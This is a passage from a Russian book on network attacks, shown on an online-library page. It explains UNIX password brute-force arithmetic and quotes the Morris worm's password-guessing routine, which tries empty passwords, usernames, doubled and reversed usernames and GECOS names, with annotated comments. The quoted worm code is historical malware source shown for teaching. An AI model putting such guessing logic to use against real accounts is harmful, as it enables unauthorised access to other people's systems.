Читаем Техника сетевых атак полностью

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk-0+ nk-1+ nk-2+ nk-3+ nk-4nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */· static strat_1()/* 0x61ca */· {· int cnt;· char usrname[50], buf[50];·· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)· {· /* Every tenth time look for "me mates" */· if ((cnt % 10) - 0) other_sleep(0);·· /* Check for no passwd */· // Проверка на пустой пароль· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */·· /* If the passwd is something like "*" punt matching it. */· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль· if (strlen(x27f2c-»passwd)!= 13) continue;·· // Попробовать в качестве пароля подставить имя пользователя· strncpy(usrname, x27f2c, sizeof(usrname)-1);· usrname[sizeof(usrname)-1] = '\0';· if (try_passwd(x27f2c, usrname)) continue;·· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);· if (try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре· sscanf(x27f2c-»gecos, XS("%[^,]"), buf);· if (isupper(buf[0])) buf[0] = tolower(buf[0]);· if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля второе расширенное имя пользователя· buf[0] = '\0';· sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf);· if (isupper(buf[0])) buf[0] = tolower(buf[0]);· if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp;· try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля имя пользователя задом наперед· reverse_str(usrname, buf);· if (try_passwd(x27f2c, buf));·}· if (x27f2c - 0) cmode = 2;· return;·}

То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:

· пустой пароль (вдруг да повезет!)

· имя пользователя (в приведенном примере kpnc)

· удвоенное имя пользователя (kpnckpnc)

· первое расширенное имя в нижнем регистре (kris)

Перейти на страницу:

Похожие книги

1С: Бухгалтерия 8 с нуля
1С: Бухгалтерия 8 с нуля

Книга содержит полное описание приемов и методов работы с программой 1С:Бухгалтерия 8. Рассматривается автоматизация всех основных участков бухгалтерии: учет наличных и безналичных денежных средств, основных средств и НМА, прихода и расхода товарно-материальных ценностей, зарплаты, производства. Описано, как вводить исходные данные, заполнять справочники и каталоги, работать с первичными документами, проводить их по учету, формировать разнообразные отчеты, выводить данные на печать, настраивать программу и использовать ее сервисные функции. Каждый урок содержит подробное описание рассматриваемой темы с детальным разбором и иллюстрированием всех этапов.Для широкого круга пользователей.

Алексей Анатольевич Гладкий

Программирование, программы, базы данных / Программное обеспечение / Бухучет и аудит / Финансы и бизнес / Книги по IT / Словари и Энциклопедии
1С: Управление торговлей 8.2
1С: Управление торговлей 8.2

Современные торговые предприятия предлагают своим клиентам широчайший ассортимент товаров, который исчисляется тысячами и десятками тысяч наименований. Причем многие позиции могут реализовываться на разных условиях: предоплата, отсрочка платежи, скидка, наценка, объем партии, и т.д. Клиенты зачастую делятся на категории – VIP-клиент, обычный клиент, постоянный клиент, мелкооптовый клиент, и т.д. Товарные позиции могут комплектоваться и разукомплектовываться, многие товары подлежат обязательной сертификации и гигиеническим исследованиям, некондиционные позиции необходимо списывать, на складах периодически должна проводиться инвентаризация, каждая компания должна иметь свою маркетинговую политику и т.д., вообщем – современное торговое предприятие представляет живой организм, находящийся в постоянном движении.Очевидно, что вся эта кипучая деятельность требует автоматизации. Для решения этой задачи существуют специальные программные средства, и в этой книге мы познакомим вам с самым популярным продуктом, предназначенным для автоматизации деятельности торгового предприятия – «1С Управление торговлей», которое реализовано на новейшей технологической платформе версии 1С 8.2.

Алексей Анатольевич Гладкий

Финансы / Программирование, программы, базы данных